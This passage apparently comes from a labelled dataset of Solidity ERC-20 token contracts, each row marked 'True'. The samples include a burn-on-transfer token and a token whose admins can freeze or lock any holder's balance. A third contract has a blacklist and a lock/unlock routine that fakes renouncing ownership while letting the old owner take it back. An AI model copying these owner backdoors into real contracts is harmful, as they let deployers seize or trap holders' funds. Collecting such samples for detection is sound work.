require(owner != address(0), "approve from zero address");
require(spender != address(0), "approve go zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
}
contract ChineseBoobToken is ERC20 {
constructor () public ERC20("Chinese Boob", "CNB") {
_deploy(msg.sender, 8888 * (10 ** uint256(decimals())));
}
function transfer(address to, uint256 amount) public override returns (bool) {
return super.transfer(to, _partialFire(amount));
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
return super.transferFrom(from, to, _partialFireTransferFrom(from, amount));
}
function _partialFire(uint256 amount) internal returns (uint256) {
uint256 fireAmount = amount.div(20);
if (fireAmount > 0) {
_fire(msg.sender, fireAmount);
}
return amount.sub(fireAmount);
}
function _partialFireTransferFrom(address _originalSender, uint256 amount) internal returns (uint256) {
uint256 fireAmount = amount.div(20);
if (fireAmount > 0) {
_fire(_originalSender, fireAmount);
}
return amount.sub(fireAmount);
}
} | True | [
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pragma solidity 0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) public freezeOf;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
mapping (address => bool) public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"I am not the owner of the wallet.");
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token.");
admin[newAdmin] = true;
}
function unsetAdmin(address Admin) onlyOwner public {
require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet.");
admin[Admin] = false;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"There is a pause.");
_;
}
modifier whenPaused() {
require(paused,"It is not paused.");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0; }
uint256 c = a * b;
require(c / a == b,"An error occurred in the calculation process");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b !=0,"The number you want to divide must be non-zero.");
uint256 c = a / b;
require(c * b == a,"An error occurred in the calculation process");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"There are more to deduct.");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"The number did not increase.");
return c;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract FreezeToken is BasicToken, Ownable {
event Freezen(address indexed freezer, uint256 amount);
event UnFreezen(address indexed freezer, uint256 amount);
mapping (address => uint256) freezeOf;
function freeze(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value);
_totalSupply = _totalSupply.sub(_value);
emit Freezen(msg.sender, _value);
}
function unfreeze(uint256 _value) onlyOwner public {
require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen.");
balances[msg.sender] = balances[msg.sender].add(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value);
_totalSupply = _totalSupply.add(_value);
emit Freezen(msg.sender, _value);
}
}
contract KoreaBlackHole is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockerChanged(address indexed owner, uint256 amount);
mapping(address => uint) locker;
string private _symbol = "KBH";
string private _name = "Korea Blackhole";
uint8 private _decimals = 18;
uint256 private TOTAL_SUPPLY = 40*(10**8)*(10**uint256(_decimals));
constructor() DetailedERC20(_name, _symbol, _decimals) public {
_totalSupply = TOTAL_SUPPLY;
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){
require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_to > address(0) && _from > address(0),"Please check the address" );
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send.");
require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" );
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function lockOf(address _address) public view returns (uint256 _locker) {
return locker[_address];
}
function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locker[_address] = _value;
emit LockerChanged(_address, _value);
}
function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
require(_recipients[i] != address(0),'Please check the address');
locker[_recipients[i]] = _balances[i];
emit LockerChanged(_recipients[i], _balances[i]);
}
}
function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_balances[i]);
balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]);
emit Transfer(msg.sender,_recipients[i],_balances[i]);
}
}
function() public payable {
revert();
}
} | True | [
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pragma solidity ^0.8.0;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address ) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract WHIS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) public _isExcludedBal; // list for Max Bal limits
mapping (address => bool) public _isBlacklisted;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**6 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Whis Inu";
string private _symbol = "WHIS";
uint8 private _decimals = 18;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee = 10;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _buyFees = 10;
uint256 public _sellFees = 10;
address public marketing = 0x70959b9B69291641F4B70d0afd862e66f8E16deb;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxBalAmount = _tTotal.mul(5).div(1000);
uint256 public numTokensSellToAddToLiquidity = 1 * 10**18;
bool public _taxEnabled = true;
event SetTaxEnable(bool enabled);
event SetSellFeePercent(uint256 sellFee);
event SetBuyFeePercent(uint256 buyFee);
event SetTaxFeePercent(uint256 taxFee);
event SetMarketingPercent(uint256 marketingFee);
event SetDevPercent(uint256 devFee);
event SetCommunityPercent(uint256 charityFee);
event SetMaxBalPercent(uint256 maxBalPercent);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event TaxEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[msg.sender] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcluded[uniswapV2Pair] = true; // excluded from rewards
_isExcludedBal[uniswapV2Pair] = true;
_isExcludedBal[owner()] = true;
_isExcludedBal[address(this)] = true;
_isExcludedBal[address(0)] = true;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
